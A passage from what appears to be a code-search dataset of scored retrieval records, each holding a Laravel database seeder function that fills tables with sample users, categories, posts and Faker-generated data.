records\n DB::table('categories')->insert(array(\n array('name'=>'groenten','pic'=>'groenten.png'),\n array('name'=>'vlees','pic'=>'vlees.png'),\n array('name'=>'fruit','pic'=>'fruit.png'),\n array('name'=>'snacks','pic'=>'snacks.png'),\n array('name'=>'drinken','pic'=>'drinken.png')\n\n ));\n }", "title": "" }, { "docid": "ec53d7f325471d31c8d4b9ef320da423", "score": "0.78988916", "text": "public function run()\n {\n $this->call(LanguageTableSeeder::class);\n $this->call(SkillsTableSeeder::class);\n\n// factory(\\App\\Skill::class, 1000)->create();\n\n factory(\\App\\User::class, 20)->create()->each(function($user) {\n $user->skills()->saveMany(\\App\\Skill::all()->random(rand(1, 25)));\n $user->languages()->saveMany(\\App\\Language::all()->random(rand(1, 10)));\n $user->save();\n });\n\n factory(\\App\\Question::class, 50)->create()->each(function($question) {\n $question->skills()->saveMany(\\App\\Skill::all()->random(rand(1, 5)));\n $question->save();\n });\n\n factory(\\App\\Answer::class, 50)->create();\n factory(\\App\\Vote::class, 80)->create();\n }", "title": "" }, { "docid": "b29caf34b66d3312d3383baca3e725cf", "score": "0.7895321", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(\\App\\Set::class, 3)->create()->each(function ($set) {\n $setProducts = factory(\\App\\Product::class, 30)->make();\n\n $set->products()->saveMany($setProducts);\n });\n factory(\\App\\Category::class, 3)->create();\n\n }", "title": "" }, { "docid": "88258f9f401554ae03712d5c26de4e86", "score": "0.78949255", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = Faker\\Factory::create();\n\n foreach (range(1,10) as $index) {\n Product::create([\n 'title' => $faker->name ,\n 'description' => $faker->text ,\n 'price' => $faker->numberBetween(10, 100),\n ]);\n }\n }", "title": "" }, { "docid": "c5ca42e038468200777d2f68273e9f74", "score": "0.7888331", "text": "public function run()\n {\n DB::table('users')->insert([\n 'name' => \"Jovan\",\n 'password' => Hash::make(\"12121212\"),\n 'email' => \"[email protected]\"\n ]);\n\n DB::table('users')->insert([\n 'name' => \"Pera\",\n 'password' => Hash::make(\"123123123\"),\n 'email' => \"[email protected]\"\n ]);\n\n $faker = Faker::create();\n for ($i = 0; $i < 10; $i++) {\n DB::table('posts')->insert([\n 'title' => $faker->text(40),\n 'content' => $faker->sentence(10),\n 'user_id' => $faker->numberBetween(1, 2)\n ]);\n }\n }", "title": "" }, { "docid": "3b2875053d0fe7dd172affc98ba741cd", "score": "0.7887019", "text": "public function run()\n {\n $faker = Faker::create('lt_LT');\n\n\n\n DB::table('users')->insert([\n 'name' => 'Juste',\n 'email' => '[email protected]',\n 'password' => Hash::make('123'),\n ]);\n\n foreach (range(0, 10) as $_ ) {\n \n DB::table('posts')->insert([\n 'town' => $faker->city(),\n 'capacity' => 20,\n 'code' =>'P-'.rand(1,99),\n ]);\n }\n\n foreach (range(1, 50) as $_ ) {\n DB::table('parcels')->insert([\n 'weight' => mt_rand(111, 15999)/100,\n 'phone' => '+37069'.rand(100000, 999999),\n 'info' => $faker->text(400),\n 'post_id' => rand(1, 11)\n ]);\n }\n\n\n }", "title": "" }, { "docid": "b07e3ee3c4b1736184933db829b4a9bc", "score": "0.7874933", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n\n App\\Role::create([\n 'name' => 'Administrador',\n 'description' => 'no se'\n ]);\n\n App\\Role::create([\n 'name' => 'Edil',\n 'description' => 'no se'\n ]);\n\n App\\Role::create([\n 'name' => 'Ciudadano',\n 'description' => 'no se'\n ]);\n\n\n App\\Locality::create([\n 'name' => 'Puente Aranda',\n 'city_id' => 495,\n ]);\n\n\n App\\Entity::create([\n 'name' => 'Administracion del sistema',\n 'phone_contact' => '301301301',\n 'email' => '[email protected]',\n 'country_id' => 48\n ]);\n\n App\\Entity::create([\n 'name' => 'Entidad 1',\n 'phone_contact' => '301301301',\n 'email' => '[email protected]',\n 'country_id' => 48\n ]);\n\n App\\User::create([\n 'name' => 'Oscar',\n 'email' => '[email protected]',\n 'password' => bcrypt('oscar123'),\n 'last_name' => 'Amado',\n 'entity_id' => 1,\n 'rol_id' => 1,\n 'document' => '1022445546',\n ]);\n\n }", "title": "" }, { "docid": "385bfd731a375a2d4ef0c36d568c50e1", "score": "0.786952", "text": "public function run()\n {\n //Clears database\n DB::table('users')->delete();\n DB::table('settings')->delete();\n\n //Seeds database\n factory(User::class,\"admin\", 1)->create();\n factory(User::class, 10)->create();\n factory(Setting::class, 1)->create();\n }", "title": "" }, { "docid": "6e77cc4bd37ebe82a97b96bf3dec7bab", "score": "0.7860597", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = Faker::create();\n \tforeach (range(1,10) as $index) {\n\t DB::table('item')->insert([\n 'title' => $faker->name,\n 'description' => $faker->realText($maxNbChars = 200, $indexSize = 2),\n 'id_model' =>$faker->numberBetween(1,69),\n 'id_province' =>$faker->numberBetween(1,96),\n 'id_brand' =>$faker->numberBetween(1,79),\n 'id_user' =>$faker->numberBetween(1,7),\n\t 'created_at' => $faker->dateTimeBetween($startDate = '-1 months', $endDate = 'now'),\n 'status' => $faker->randomElement(array('New', 'Active', 'Inactive')),\n\t ]);\n }\n }", "title": "" }, { "docid": "10380f0624cacc8ec438ce737cd5a23c", "score": "0.785481", "text": "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n \\App\\Review::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n for ($i = 0; $i < 50; $i++) {\n \\App\\Review::create([\n 'user_id' => $faker->randomElement(\\App\\User::all()->pluck('id')->toArray()),\n 'restaurant_id' => $faker->randomElement(\\App\\Restaurant::all()->pluck('google_places_id')->toArray()),\n 'review_text' => $faker->paragraph,\n ]);\n }\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "title": "" }, { "docid": "7b08efa0e8b289b221b37a9f42fcbab6", "score": "0.7840935", "text": "public function run()\n {\n // $this->call(UserSeeder::class);\n $this->call(VideosTableSeeder::class);\n\n factory(App\\Models\\User::class, 5)->create()->each(function ($i) {\n $i->interests()\n ->saveMany(\n factory(App\\Models\\Interest::class, rand(1, 5))->make()\n );\n });\n }", "title": "" }, { "docid": "4d8a3e194e5213b07ba6e1f01065371a", "score": "0.78395134", "text": "public function run()\n {\n // $this->call(UserSeeder::class);\n User::create(array('first_name' => 'George','last_name' => 'Petrou', 'avatar' => 'default.jpg', 'email' => '[email protected]','password' => Hash::make('1234')));\n User::create(array('first_name' => 'Nick','last_name' => 'Jones', 'avatar' => 'default.jpg', 'email' => '[email protected]','password' => Hash::make('1235')));\n User::create(array('first_name' => 'Ryan','last_name' => 'Giggs', 'avatar' => 'default.jpg', 'email' => '[email protected]','password' => Hash::make('1236')));\n Roles::create(array('role' => 'admin','user_id' => 1));\n Roles::create(array('role' => 'user','user_id' => 2));\n Roles::create(array('role' => 'user','user_id' => 3));\n }", "title": "" }, { "docid": "bc912a8c1dddc8fa40444c9031b40718", "score": "0.78330994", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $users = [\n [\n 'name' => 'admin',\n 'email' => '[email protected]'\n ],\n [\n 'name' => 'jahed',\n 'email' => '[email protected]'\n ],\n [\n 'name' => 'hasan',\n 'email' => '[email protected]'\n ],\n [\n 'name' => 'jahedhasan',\n 'email' => '[email protected]'\n ],\n [\n 'name' => 'jh',\n 'email' => '[email protected]'\n ],\n \n [\n 'name' => 'jahedd',\n 'email' => '[email protected]'\n ],\n [\n 'name' => 'jb',\n 'email' => '[email protected]'\n ],\n ];\n foreach ($users as $user) {\n factory(User::class)->create([\n 'name' => $user['name'],\n 'email' => $user['email']\n ]);\n }\n factory(Note::class, 30)->create();\n }", "title": "" }, { "docid": "32f8a9675ac74c00bb4974c472281dba", "score": "0.7821223", "text": "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n // Customer::truncate();\n\n $faker = \\Faker\\Factory::create();\n \n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 3; $i++) {\n Customer::create([\n 'full_name' =>$faker->name,\n 'cin' =>$faker->word,\n 'phone' => $faker->e164PhoneNumber ,\n 'email' =>$faker->Email, \n // 'user_id' =>$i+1, \n 'workspace_id' =>1, \n ]);\n }\n }", "title": "" }, { "docid": "7390b50b8fae46f7555e0eaf084fd3ef", "score": "0.7807736", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // DB::table('users')->insert([\n // 'name' => str_random(10),\n // 'email' => str_random(10).'@gmail.com',\n // 'password' => bcrypt('secret'),\n // ]);\n for($count=1;$count<=3; $count++ ){\n\t DB::table('users')->insert([\n\t 'name' => 'admin'.$count,\n\t 'email' => 'admin'.$count.'@gmail.com',\n\t 'password' => bcrypt('admin'),\n\t 'admin'\t=>1,\n\t ]);\n }\n // DB::table('projects')->insert([\n // 'title' => str_random(10),\n // 'description' => str_random(100),\n // 'status' => 'open',\n // 'category' => 'Web',\n // ]); \n // DB::table('tasks')->insert([\n // 'title' => str_random(10),\n // 'description' => str_random(100),\n // 'status' => 'in progress',\n // 'category' => 'Front-End',\n // 'project_id'=>1\n // ]);\n // DB::table('task_user')->insert([\n // \t'task_id' => 1,\n // \t'user_id'\t=> 1,\n\n // \t]);\n }", "title": "" }, { "docid": "4d4c9c609f68448903976a4c7b76bb72", "score": "0.7806386", "text": "public function run() {\n $this->call(CountriesSeeder::class);\n $this->call(CastsTableSeeder::class);\n $this->call(MoviesSeeder::class);\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('password'),\n 'user_type' => 'ADMIN'\n ]);\n DB::table('ratings')->insert(\n [\n 'user_id' => 1,\n 'movie_id' => 1,\n 'rating_value' => 5\n ]\n );\n }", "title": "" }, { "docid": "39cab0ab1b75aec77c6b02db375756d1", "score": "0.7804264", "text": "public function run()\n {\n /*$this->call([\n //LanguageTableSeeder::class,\n UsersTableSeeder::class\n ]);*/\n\n //create dummy data for cashflow\n $faker = Faker::create();\n foreach (range(1,100) as $index) {\n\n DB::table('cashflow')->insert([\n 'name' => $faker->sentence(6, true),\n 'description' => $faker->text,\n 'flow_type' => $faker->randomElement(array ('1','2')),\n 'amount' => $faker->numberBetween(1000, 9000),\n 'created_at' => $faker->dateTimeThisYear('now', 'UTC') \n ]);\n }\n }", "title": "" }, { "docid": "249635981f4ce9205eb86a95422d00e1", "score": "0.780369", "text": "public function run()\n {\n $this->call(RoleSeeder::class);\n $this->call(PermissionSeeder::class);\n factory(Tag::class, 20)->create();\n Permission::where('slug', 'manage-users')->first()->roles()\n ->sync([\n Role::where('slug', 'administrator')->first()->id,\n ]);\n Permission::where('slug', 'manage-articles')->first()->roles()\n ->sync([\n Role::where('slug', 'administrator')->first()->id,\n Role::where('slug', 'editor')->first()->id,\n ]);\n $this->call(UserSeeder::class);\n factory(User::class, 2)->create()->each(function($user) {\n $user->articles()->saveMany(factory(Article::class, (int) rand(10, 20))->make());\n $user->news()->saveMany(factory(News::class, (int) rand(10, 20))->make());\n });\n $this->call(EntryTagTableSeeder::class);\n $this->call(CommentTableSeeder::class);\n }", "title": "" }, { "docid": "11218f98139c57a6846510c7c4c15a64", "score": "0.77917063", "text": "public function run()\n {\n $faker = FakerFactory::create();\n\n # php artisan migrate:refresh --seed\n $bob = new App\\User();\n $bob->name = \"Bob\";\n $bob->email = \"[email protected]\";\n $bob->password = bcrypt(\"123456\");\n $bob->save();\n\n $alice = new App\\User();\n $alice->name = \"Alice\";\n $alice->email = \"[email protected]\";\n $alice->password = bcrypt(\"123456\");\n $alice->save();\n\n for($i=0; $i<20; $i++) {\n $comment = new App\\Comment();\n $comment->comment = $faker->paragraph;\n $comment->post_id = rand(1, 10);\n $comment->user_id = rand(1, 2);\n $comment->save();\n }\n\n for($i=0; $i<10; $i++) {\n $post = new App\\Post();\n $post->title = $faker->sentence;\n $post->body = $faker->paragraph;\n $post->category_id = rand(1, 5);\n $post->save();\n }\n\n for($i=0; $i<5; $i++) {\n $category = new App\\Category();\n $category->name = ucwords( $faker->word );\n $category->save();\n }\n\n // $this->call(UsersTableSeeder::class);\n }", "title": "" }, { "docid": "0abeef674742d2ee575c2285b0a63e54", "score": "0.7787361", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n //seta = 0\n DB::statement('SET FOREIGN_KEY_CHECKS=0');\n\n //Cidades \n DB::table('cidades')->truncate();\n \tDB::table('cidades')->insert([\n \t\t// 'id' => \"1\",\n 'cidade_nome' => \"Cuiabá\",\n ]);\n \tDB::table('cidades')->insert([\n \t\t// 'id' => \"2\",\n 'cidade_nome' => \"Várzea Grande\",\n ]);\n\n\n //Planos \n DB::table('planos')->truncate();\n \tDB::table('planos')->insert([\n \t\t// 'id' => \"1\",\n 'plano_nome' => \"Silver\",\n 'plano_vantagens' => \"Para controle financeiro de quem trabalha sozinho\",\n ]);\n \tDB::table('planos')->insert([\n \t\t// 'id' => \"2\",\n 'plano_nome' => \"Gold\",\n 'plano_vantagens' => \"Melhor opção para quem quer crescer e receber mais rápido.\", \n ]);\n \tDB::table('planos')->insert([\n \t\t// 'id' => \"2\",\n 'plano_nome' => \"Platium\",\n 'plano_vantagens' => \"Mais notas e boletos para sua empresa.\",\n ]);\n\n\n }", "title": "" }, { "docid": "e1d4f0e4e0b4cd624b555f00f69d8386", "score": "0.77770865", "text": "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n\n //----DATOS REALES DE PRUEBA---------\n $this->call(CitySeeder::class);\n $this->call(SucursaleSeeder::class);\n $this->call(StateSeeder::class);\n $this->call(CategorySeeder::class);\n $this->call(RoleSeeder::class);\n\n //-----DATOS FALSOS DE PRUEBA--------\n //User::factory(10)->create();\n Product::factory(5)->create();\n Group::factory(5)->create();\n Modifier::factory(20)->create();\n //Sale::factory(20)->create();\n }", "title": "" }, { "docid": "5636dd7cb3d474c1bf2462b273b361ff", "score": "0.7776088", "text": "public function run()\n {\n\n\n DB::statement('SET FOREIGN_KEY_CHECKS=0');\n DB::table('users')->truncate();\n DB::table('categories')->truncate();\n\n\n //seeding the data\n\n User::factory()->count(1)->create();\n\n Category::factory()->count(10)->create()->each(function($category){\n $category->products()->saveMany(Product::factory(Product::class)->count(5)->create());\n });\n\n // \\App\\Models\\User::factory(10)->create();\n }", "title": "" }, { "docid": "a8dfa675e6ffec96b1dd6192fd68b3a2", "score": "0.77732474", "text": "public function run()\n {\n \t// Crear Seeder\n \t// php artisan make:seeder MiniSkillsTableSeeder\n\n \t// Ejecutar\n \t//php artisan db:seed --class=MiniSkillsTableSeeder\n \t//\n \t/*\n \tDB::table('mini_skills')->insert([\n\t 'title' => 'SEO',\n\t 'progress' => 100, \n\t 'status' => 1,\n\t 'created_at' => now(),\n\t 'updated_at' => now()\n ]);\n */\n \n \n\n \tMiniSkill::create([\n\t 'title' => 'SEO',\n\t 'progress' => 100, \n\t 'status' => 1\n ]);\n }", "title": "" }, { "docid": "e09eb1651561e63be4b2b1e9c41c333c", "score": "0.77729875", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory('App\\Admin', 1)->create();\n factory('App\\Membre', 10)->create();\n factory('App\\Psychologue', 10)->create();\n factory('App\\Blog', 10)->create();\n factory('App\\Statut', 10)->create();\n factory('App\\Discussion', 10)->create();\n }", "title": "" }, { "docid": "fc4ebf94d0a8bf8e90abe65163ca460c", "score": "0.77711946", "text": "public function run()\n {\n $this->call(UsersSeeder::class);\n // factory(App\\User::class, 5)->create()->each(function ($u) {\n // \t$u->laporan()->saveMany(factory(App\\Laporan::class, 5)->make());\n // });\n // factory(App\\Dospem::class, 2)->create();\n // factory(App\\Pemlap::class, 2)->create();\n // factory(App\\Instansi::class, 2)->create();\n }", "title": "" }, { "docid": "afcd93274839927545e6c2a6489c97b4", "score": "0.7769354", "text": "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $faker=Faker::create();\n foreach (range(1,100) as $index) {\n DB::table('posts')->insert([\n 'title'=>$faker->text(30),\n 'body'=>$faker->text(300)\n ]);\n }\n }", "title": "" }, { "docid": "b9f891c56a6dcdf4ec65f847082d6389", "score": "0.77666545", "text": "public function run()\n {\n $faker = Faker::create();\n foreach (range(1, 5) as $index) {\n DB::table('articles')->insert(\n [\n 'name' => $faker->unique()->word,\n 'user_id' => 1,\n 'title' => $faker->words(3, true),\n 'text' => $faker->text(1000),\n 'rank' => $faker->randomNumber(),\n 'enabled' => $faker->boolean(true),\n 'created_at' => $faker->date(),\n 'updated_at' => $faker->date(),\n ]\n );\n }\n }", "title": "" }, { "docid": "f908dcf673136d275768a26e1ed8f43d", "score": "0.77663046", "text": "public function run()\n {\n /*\n // Seed with a database querry.\n DB::table('users')->insert([\n 'name' => Person::firstNameMale(),\n 'email' => str_random(10) . '@' . str_random(5) . '.com',\n 'password' => bcrypt('secret'),\n 'date_birth' => DateTime::unixTime(),\n 'telephone' => PhoneNumber::phoneNumber(),\n 'address' => Address::streetSuffix() . $this->delimiter . Address::buildingNumber() . $this->address_delimiter .\n Address::postcode() . $this->delimiter . Address::citySuffix() . $this->address_delimiter .\n Address::country(),\n 'nationality' => Miscellaneous::countryCode(),\n 'work_permit' => str_random(1),\n 'driver_permit' => 'yes',\n ]);\n */\n\n //Seeding with a factory.\n // No relationships are made.\n factory(App\\User::class,5)->create();\n /*\n // Seed and attach relationships to each user;\n factory(App\\User::class,5)->create()->each(function($u){\n $u->templates()->save(factory(App\\Template::class)->make());\n // Cannot continue as the foreign key integrities are not respected afterwards.\n $u->cvs()->save(factory(App\\Cv::class)->make());\n $u->sections()->save(factory(App\\Section::class)->make());\n $u->skills()->save(factory(App\\Skill::class)->make());\n $u->hobbies()->save(factory(App\\Hobby::class)->make());\n $u->jobs()->save(factory(App\\Work::class)->make());\n $u->languages()->save(factory(App\\Language::class)->make());\n $u->educations()->save(factory(App\\Education::class)->make());\n });\n */\n }", "title": "" }, { "docid": "40ca19c7f708ecdfdcd4af8c02d83f2f", "score": "0.7763938", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->call(AdminTableSeeder::class);\n // factory(App\\Admin::class, 50)->create();]\n factory(App\\Model\\Artist::class, 15)->create();\n factory(App\\Model\\Category::class, 20)->create();\n factory(App\\Model\\Album::class, 20)->create();\n factory(App\\Model\\Song::class, 50)->create();\n }", "title": "" }, { "docid": "78fa4e7ae6998de91422744dcdef4f25", "score": "0.77621245", "text": "public function run()\n { \n \n /* factory(App\\Resource::class, 10000)->create();\n factory(App\\Work::class, 50)->create();\n factory(App\\Cost::class, 500)->create();\n factory(App\\Refwork::class, 50)->create();\n factory(App\\Refresource::class, 200)->create(); */\n\n $this->call(UsersTableSeeder::class);\n $this->call(PermissionsTableSeeder::class);\n \n }", "title": "" }, { "docid": "480eecd886ef3ee8fb2edf36add7a6e6", "score": "0.7761234", "text": "public function run()\n {\n $this->call(UsersTableSeeder::class);\n $this->call(RolesTableSeeder::class);\n $this->call(RoleUserTableSeeder::class);\n $this->call(CategoriesTableSeeder::class);\n// factory('App\\User', 15)->create();\n factory('App\\Article', 6)->create();\n $this->call(ArticlesTableSeeder::class);\n $this->call(ArticleCategoryTableSeeder::class);\n\n }", "title": "" }, { "docid": "43e31086667a15be4100b3788e32525a", "score": "0.77569884", "text": "public function run()\n {\n $faker = Faker::create('id_ID');\n DB::table('users')->insert([\n [\"role_id\" => 1, \"name\" => 'Admin 1', \"email\" => \"[email protected]\", \"password\" => Hash::make(\"admin12345\")],\n [\"role_id\" => 1, \"name\" => 'Admin 2', \"email\" => \"[email protected]\", \"password\" => Hash::make(\"admin12345\")],\n [\"role_id\" => 2, \"name\" => 'John Doe', \"email\" => \"[email protected]\", \"password\" => Hash::make(\"john12345\")],\n [\"role_id\" => 2, \"name\" => 'Ji Eun', \"email\" => \"[email protected]\", \"password\" => Hash::make(\"jieun12345\")],\n ]);\n }", "title": "" }, { "docid": "c5a55e8cf6dced6dcea94dbb4eb4d4fe", "score": "0.7746075", "text": "public function run()\n {\n $this->seed('EntryTypesTableSeeder');\n\t\t$this->seed('TaxonomyTableSeeder');\n\t\t$this->seed('RolesTableSeeder');\n\t\t$this->seed('SettingsTableSeeder');\n\t\t$this->seed('PagesTableSeeder');\n\t\t$this->seed('MenuTableSeeder');\n }", "title": "" }, { "docid": "84eb153850f1545b5a2f9529a74ca3bb", "score": "0.774333", "text": "public function run()\n {\n Author::factory(10)->create();\n Book::factory(10)->create();\n Relation::factory(10)->create();\n $this->call([\n UserSeeder::class,\n RelationSeeder::class\n ]);\n }", "title": "" }, { "docid": "1159542e19a2f9f8712ba8239cdba0c8", "score": "0.7737675", "text": "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n // Let's truncate our existing records to start from scratch.\n Category::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n $categories = [\n 'Acheter et vendre','Autos et véhicules','Immobilier','Services','Animaux','Locations de vacances','Communauté'\n ];\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 7; $i++) {\n Category::create([\n 'name' => $categories[$i]\n ]);\n }\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n\n }", "title": "" }, { "docid": "d2d80f7d460efe018a3f140847e1a279", "score": "0.7736776", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // Dejar nulo las claves foraneas\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n User::truncate();\n Category::truncate();\n Product::truncate();\n Transaction::truncate();\n DB::table('category_product')->truncate();\n\n //Me ayudara para que los eventos al comienzo no se activen\n User::flushEventListeners();\n Category::flushEventListeners();\n Product::flushEventListeners();\n Transaction::flushEventListeners();\n\n $catidadUsuarios = 200;\n $cantidadCategorias = 30;\n $cantidadProductos = 500;\n $cantidadTransacciones = 1000;\n\n factory(User::class,$catidadUsuarios)->create();\n factory(Category::class,$cantidadCategorias)->create();\n\n factory(Product::class,$cantidadProductos)->create()->each(\n function($producto){\n //random (colleccion)\n $categorias=Category::all()->random(mt_rand(1,5))->pluck('id');\n $producto->categories()->attach($categorias);\n }\n );\n\n factory(Transaction::class, $cantidadTransacciones)->create();\n }", "title": "" }, { "docid": "b71b6c9d43290ee575ba0a2222937224", "score": "0.7735867", "text": "public function run()\n {\n $faker = Faker\\Factory::create();\n \n $data = [];\n\n $users=App\\User::pluck('id')->toArray();//permet de retourner les id de la table et les stock dans une table\n \n for ($i = 1; $i <= 100 ; $i++) {\n array_push($data, [\n 'name'=>$faker->sentence,\n 'body'=>$faker->realText(2000) ,\n 'user_id'=>$faker->randomElement($users),\n 'published_at'=>$faker->datetime(),\n\n ]);\n }\n Article::insert($data);\n }", "title": "" }, { "docid": "9d2e1f29bfaf34564e90f02a58e8ad3b", "score": "0.77346915", "text": "public function run()\n {\n \t\n \tDB::table('profissao')->insert([\n 'descricao' => 'Professor'\n ]);\n\n DB::table('profissao')->insert([\n 'descricao' => 'Aluno'\n ]);\n\n DB::table('profissao')->insert([\n 'descricao' => 'Engenheiro'\n ]);\n\n DB::table('profissao')->insert([\n 'descricao' => 'Agricultor'\n ]);\n\n DB::table('profissao')->insert([\n 'descricao' => 'Outro'\n ]);\n\n\n DB::table('perfil')->insert([\n 'descricao' => 'Administrador'\n ]);\n\n DB::table('perfil')->insert([\n 'descricao' => 'Registrador'\n ]);\n \n $this->call(ModelosTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n $this->call(PluviometrosSeeder::class); \n }", "title": "" }, { "docid": "de46177ac0fa0a295c6ae2ab0fba4901", "score": "0.7733467", "text": "public function run()\n {\n // $this->call(UserSeeder::class);\n factory(Course::class, 10)->create()->each(function($course){\n $course->episodes()->saveMany(factory(Episode::class,10)->make());\n });\n }", "title": "" }, { "docid": "5c50c6331a8da5e7c37b7e78f795a900", "score": "0.7731594", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n User::create([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => '123123'\n ]);\n\n Security::create(['code' => 'helloworld']);\n Security::create(['code' => 'welcomehere']);\n }", "title": "" }, { "docid": "5594e3238793cf289d046986c5f56d58", "score": "0.77295095", "text": "public function run() {\n // \\App\\Models\\User::factory(10)->create();\n// $this->call(ArticlesTableSeeder::class);\n// $this->call(UsersTableSeeder::class);\n $faker = \\Faker\\Factory::create();\n\n // Let's make sure everyone has the same password and\n // let's hash it before the loop, or else our seeder\n // will be too slow.\n $password = Hash::make('netireki');\n\n User::create([\n 'name' => 'Admin',\n 'email' => '[email protected]',\n 'password' => $password,\n ]);\n\n // And now let's generate a few dozen users for our app:\n for ($i = 0; $i < 10; $i++) {\n User::create([\n 'name' => $faker->name,\n 'email' => $faker->email,\n 'password' => $password,\n ]);\n }\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Article::create([\n 'title' => $faker->sentence,\n 'body' => $faker->paragraph,\n ]);\n }\n }", "title": "" }, { "docid": "b330d291de9fbd392f253311a96f3c6d", "score": "0.7729395", "text": "public function run()\n {\n // \\App\\Models\\User::factory(1)->create();\n // \\App\\Models\\Article::factory(5)->create();\n // \\App\\Models\\Category::factory(5)->create();\n // \\App\\Models\\Topic::factory(5)->create();\n // \\App\\Models\\Tag::factory(5)->create();\n // $this->call(ArticleCategorySeeder::class);\n // $this->call(ArticleTopicSeeder::class);\n $this->call(RegionSeeder::class);\n }", "title": "" }, { "docid": "bad0c06d6cc426f60d248d0caa0771bb", "score": "0.77290624", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $this->call(AssessmentSeeder::class);\n DB::table('users')->insert([\n\n [\n 'name' => 'Admin 1',\n 'email' => '[email protected]',\n 'password' => bcrypt('test1234'),\n ],\n [\n 'name' => 'Admin 2',\n 'email' => '[email protected]',\n 'password' => bcrypt('test1234'),\n ],\n [\n 'name' => 'Admin 3',\n 'email' => '[email protected]',\n 'password' => bcrypt('test1234'),\n ]\n\n ]);\n }", "title": "" }, { "docid": "2e159f4e54504bdde9f62ecdf35810ee", "score": "0.772654", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory('App\\User',50)->create();\n factory('App\\Post',50)->create();\n factory('App\\Profile',50)->create();\n factory('App\\Category',3)->create();\n \n $posts = factory(App\\Post::class)->create();\n\n factory(Comment::class, 30)->create([\n 'post_id' => $posts->id\n ]);\n\n $comment = Comment::first();\n\n factory(Comment::class, 20)->create([\n 'post_id' => $posts->id,\n 'comment_id' => $comment->id,\n ]);\n\n }", "title": "" }, { "docid": "bad3760d584e717874b4137c76409e6b", "score": "0.7724795", "text": "public function run()\n {\n // $this->call(UserSeeder::class);\n DB::table('roles')->insert([\n 'name' => 'SUPERUSER',\n ]);\n\n DB::table('contractors')->insert([\n 'name' => 'MY ENTERPRISE',\n ]);\n\n DB::table('projects')->insert([\n 'name' => 'PROJECT EXAMPLE',\n 'datestart' => now()->format('Y-m-d H:i:s'),\n 'dateFinish' => now()->format('Y-m-d H:i:s'),\n ]);\n\n DB::table('users')->insert([\n 'name' => 'SUPERUSER',\n 'user' => 'superuser',\n 'email' => '[email protected]',\n 'password' => Hash::make('IdonSoft'),\n 'role_id' => '1',\n 'contractor_id' => '1',\n ]);\n\n DB::table('permits')->insert([\n 'user_id' => '1',\n 'create_folio' => '1',\n 'create_dailyreport' => '1',\n 'create_note' => '1',\n 'create_comment' => '1',\n 'print_dailyreport' => '1',\n 'print_note' => '1',\n 'print_folio' => '1',\n 'edit_sequence' => '1',\n ]);\n \n }", "title": "" }, { "docid": "d6c8622705e47deae5dda1c458f83e8a", "score": "0.7724516", "text": "public function run()\n {\n DB::table('dias')->insert([\n // Para que los tres tipos de roles puedan darse,\n // Poner php artisan migrate:fresh --seed para hacer la migración del seed\n // primero php artisan db:seed --class=RolesTableSeeder\n // y luego php artisan db:seed --class=UsersTableSeeder\n // finalmente php artisan db:seed --class=DiasTableSeeder\n [\n 'nombre' => 'Lunes'\n ],\n [\n 'nombre' => 'Martes'\n ],\n [\n 'nombre' => 'Miercoles'\n ],\n [\n 'nombre' => 'Jueves'\n ],\n [\n 'nombre' => 'Viernes'\n ],\n [\n 'nombre' => 'Sabado'\n ],\n [\n 'nombre' => 'Domingo'\n ]\n ]);\n }", "title": "" }, { "docid": "7c1039e8faa671c62b7faf41b7d53536", "score": "0.77197814", "text": "public function run()\n {\n Model::unguard();\n Category::where('id', '<=', '5')->delete();\n $data = [\n ['name' => '汽车'],\n ['name' => '游戏'],\n ['name' => '影视'],\n ['name' => '社会'],\n ['name' => '政治'],\n ];\n foreach ($data as $d) {\n Category::create($d);\n }\n factory(Content::class, 1000)->create();\n // $this->call(\"OthersTableSeeder\");\n }", "title": "" }, { "docid": "bbdcb34cad1d7381d781f85b5830c22f", "score": "0.77192366", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n// $this->depeartmntTableSeed();\n// $this->designationTableSeed();\n /**\n * Run the database seeds.\n *\n * @return void\n */\n\n }", "title": "" }, { "docid": "7d13b7cccd5ea1d589bdc8b1ce81b63f", "score": "0.7715028", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // factory(App\\User::class)->create();\n\n // factory(Student::class,50)->create()->each(function($student)\n // {\n // $student->educationalQualification()->save(factory(Parents::class)->make());\n // $student->educationalQualification()->save(factory(Payment::class)->make());\n // $student->educationalQualification()->save(factory(Guardian::class)->make());\n // $student->educationalQualification()->save(factory(EQ::class)->make());\n // });\n }", "title": "" }, { "docid": "b84407b90ecd0da0f136c70b54b6b0f0", "score": "0.7710997", "text": "public function run()\n {\n /// Let's truncate our existing records to start from scratch.\n Category::truncate();\n\n $faker = \\Faker\\Factory::create();\n $category_names = array('Category One', 'Category Two');\n foreach($category_names as $name) {\n Category::create([\n 'name' => $name,\n 'price_mod' => 